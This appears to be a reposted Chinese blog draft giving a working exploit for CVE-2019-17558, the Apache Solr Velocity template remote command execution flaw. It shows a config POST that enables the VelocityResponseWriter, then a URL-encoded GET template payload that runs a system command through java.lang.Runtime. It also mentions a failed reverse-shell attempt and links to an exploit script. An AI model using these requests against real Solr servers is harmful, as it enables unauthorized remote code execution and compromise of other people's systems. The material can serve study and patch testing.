当前位置:   article > 正文

草稿solr_"startup\": \"lazy\", \"name\": \"velocity\", \"cl

"startup\": \"lazy\", \"name\": \"velocity\", \"class\": \"solr.velocityresponsewriter"

CVE-2019-17558 命令执行漏洞

参考文章里的包有问题!这里提供对的包!

POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

在这里插入图片描述

这里是get请求,所以用url编码!

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
  • 1

但是反弹失败了

但是反弹失败了

https://smling.blog.csdn.net/article/details/115705233
https://my.oschina.net/u/4196756/blog/5011317
Apache Solr 漏洞总结
在这里插入图片描述
https://github.com/zhzyker/exphub/blob/master/solr/cve-2019-17558_cmd.py

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/article/detail/58677
推荐阅读
相关标签
  

闽ICP备14008679号